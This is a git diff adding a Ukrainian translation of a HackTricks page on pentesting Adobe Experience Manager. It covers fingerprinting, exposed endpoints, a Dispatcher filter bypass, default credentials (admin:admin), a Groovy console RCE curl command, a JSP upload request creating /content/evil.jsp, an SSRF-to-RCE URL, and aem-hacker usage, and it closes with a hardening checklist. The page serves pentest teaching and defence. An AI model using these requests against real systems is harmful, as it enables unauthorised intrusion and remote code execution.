mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/aem-adobe-ex
This commit is contained in:
parent
50878b80cc
commit
c45eeb4837
@ -1,5 +1,117 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Знайдіть вразливості та неправильні налаштування за допомогою [https://github.com/0ang3el/aem-hacker](https://github.com/0ang3el/aem-hacker)
|
||||
# AEM (Adobe Experience Manager) Pentesting
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> Adobe Experience Manager (AEM, частина Adobe Experience Cloud) є корпоративною CMS, яка працює на базі Apache Sling/Felix (OSGi) та Java Content Repository (JCR).
|
||||
> З точки зору атакуючого, екземпляри AEM дуже часто відкривають небезпечні кінцеві точки розробки, слабкі правила Dispatcher, стандартні облікові дані та довгий список CVE, які виправляються щоквартально.
|
||||
|
||||
Список перевірки нижче зосереджується на **зовнішньо доступній (без аутентифікації) атакуючій поверхні**, яка постійно з'являється в реальних випадках (2022-2025).
|
||||
|
||||
---
|
||||
|
||||
## 1. Fingerprinting
|
||||
```
|
||||
$ curl -s -I https://target | egrep -i "aem|sling|cq"
|
||||
X-Content-Type-Options: nosniff
|
||||
X-Dispatcher: hu1 # header added by AEM Dispatcher
|
||||
X-Vary: Accept-Encoding
|
||||
```
|
||||
Інші швидкі індикатори:
|
||||
* `/etc.clientlibs/` статичний шлях присутній (повертає JS/CSS).
|
||||
* `/libs/granite/core/content/login.html` сторінка входу з банером “Adobe Experience Manager”.
|
||||
* `</script><!--/* CQ */-->` коментар внизу HTML.
|
||||
|
||||
---
|
||||
|
||||
## 2. Високоякісні неавтентифіковані кінцеві точки
|
||||
|
||||
Шлях | Що ви отримуєте | Примітки
|
||||
---- | ------------- | -----
|
||||
`/.json`, `/.1.json` | JCR вузли через **DefaultGetServlet** | Часто заблоковано, але *Dispatcher bypass* (див. нижче) працює.
|
||||
`/bin/querybuilder.json?path=/` | QueryBuilder API | Витік дерева сторінок, внутрішні шляхи, імена користувачів.
|
||||
`/system/console/status-*`, `/system/console/bundles` | OSGi/Felix консоль | 403 за замовчуванням; якщо відкрито та знайдено облікові дані ⇒ завантаження пакета RCE.
|
||||
`/crx/packmgr/index.jsp` | Менеджер пакетів | Дозволяє автентифіковані контент-пакети → завантаження JSP корисного навантаження.
|
||||
`/etc/groovyconsole/**` | AEM Groovy Console | Якщо відкрито → довільне виконання Groovy / Java.
|
||||
`/libs/cq/AuditlogSearchServlet.json` | Журнали аудиту | Розкриття інформації.
|
||||
`/libs/cq/ui/content/dumplibs.html` | Вивантаження ClientLibs | Вектор XSS.
|
||||
|
||||
### Трюк обходу Dispatcher
|
||||
Більшість виробничих сайтів знаходяться за *Dispatcher* (реверс-проксі). Його правила фільтрації можна обійти, додавши дозволене статичне розширення **після крапки з комою або закодованого нового рядка**:
|
||||
```
|
||||
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
|
||||
```
|
||||
Один запит, як зазначено вище, часто розкриває вузли профілю користувача з адресами електронної пошти. P-T Partners опублікували хороші рекомендації щодо цієї вразливості. 【】
|
||||
|
||||
---
|
||||
|
||||
## 3. Загальні неправильні налаштування (все ще актуальні у 2025 році)
|
||||
|
||||
1. **Анонімний POST сервлет** – `POST /.json` з `:operation=import` дозволяє створювати нові вузли JCR. Блокування `*.json` POST у Dispatcher вирішує цю проблему. 【】
|
||||
2. **Профілі користувачів, доступні для всіх** – за замовчуванням ACL надає `jcr:read` на `/home/users/**/profile/*` всім.
|
||||
3. **Стандартні облікові дані** – `admin:admin`, `author:author`, `replication:replication`.
|
||||
4. **WCMDebugFilter** увімкнено ⇒ відображений XSS через `?debug=layout` (CVE-2016-7882, все ще виявляється на застарілих установках 6.4).
|
||||
5. **Відкритий Groovy Console** – віддалене виконання коду шляхом надсилання Groovy скрипту:
|
||||
```bash
|
||||
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. Останні вразливості (каденція сервіс-паків)
|
||||
|
||||
Квартал | CVE | Вразливі | Вплив
|
||||
------- | --- | -------- | ------
|
||||
Грудень 2024 | **CVE-2024-43711** | 6.5.21 та раніше | Неправильна валідація введення → **Випадкове виконання коду** (вимагає авторизації з низькими привілеями). 【】
|
||||
Грудень 2024 | CVE-2024-43724/26 | 6.5.21 та раніше | DOM / Збережений XSS у Move Page Wizard. 【】
|
||||
Грудень 2023 | CVE-2023-48452/68 | ≤ 6.5.18 | XSS на основі DOM через підроблений URL. 【】
|
||||
Грудень 2022 | CVE-2022-30683 | ≤ 6.5.13 | Дизайнерська помилка криптографії → розшифрування секрету (потребує облікових даних з низькими привілеями). 【】
|
||||
|
||||
Завжди перевіряйте бюлетень *APSB*, що відповідає сервіс-паку клієнта, і запитуйте останній **6.5.22** або *Cloud Service 2024.11*.
|
||||
|
||||
---
|
||||
|
||||
## 5. Фрагменти експлуатації
|
||||
|
||||
### 5.1 RCE через обхід диспетчера + завантаження JSP
|
||||
Якщо анонімне записування можливе:
|
||||
```
|
||||
# 1. Create a node that will become /content/evil.jsp
|
||||
POST /content/evil.jsp;%0aa.css HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
:contentType=text/plain
|
||||
jcr:data=<% out.println("pwned"); %>
|
||||
:operation=import
|
||||
```
|
||||
Тепер запитайте `/content/evil.jsp` – JSP виконується з користувачем процесу AEM.
|
||||
|
||||
### 5.2 SSRF до RCE (історичний < 6.3)
|
||||
`/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console`
|
||||
`aem_ssrf2rce.py` з **aem-hacker** автоматизує весь ланцюг. 【】
|
||||
|
||||
---
|
||||
|
||||
## 6. Інструменти
|
||||
|
||||
* **aem-hacker** – скрипт для енумерації, підтримує обхід диспетчера, виявлення SSRF, перевірки стандартних облікових записів та інше.
|
||||
```bash
|
||||
python3 aem_hacker.py -u https://target --host attacker-ip
|
||||
```【】
|
||||
* **Content Brute-force** – рекурсивно запитувати `/_jcr_content.(json|html)`, щоб виявити приховані компоненти.
|
||||
* **osgi-infect** – завантажити шкідливий OSGi пакет через `/system/console/bundles`, якщо доступні облікові дані.
|
||||
|
||||
---
|
||||
|
||||
## 7. Контрольний список посилення безпеки (для рекомендацій у вашому звіті)
|
||||
|
||||
1. Тримайте інстанцію на **останній кумулятивній службі** (на липень 2025: 6.5.22).
|
||||
2. Видаліть/змініть стандартні облікові записи; впровадьте SSO/SAML.
|
||||
3. Посиліть **фільтри диспетчера** – забороніть `;`, закодовані нові рядки та `*.json` або `*.querybuilder.json` для анонімних користувачів.
|
||||
4. Вимкніть або захистіть консолі (`/system/console`, `/crx/*`, `/etc/groovyconsole`) за допомогою списків дозволених IP.
|
||||
5. Застосуйте пакет *Anonymous Permission Hardening*, надісланий Adobe.
|
||||
|
||||
## Посилання
|
||||
|
||||
* Adobe Security Bulletin APSB24-69 – “Оновлення безпеки для Adobe Experience Manager (грудень 2024)”.
|
||||
* 0ang3el – інструмент aem-hacker (GitHub).
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user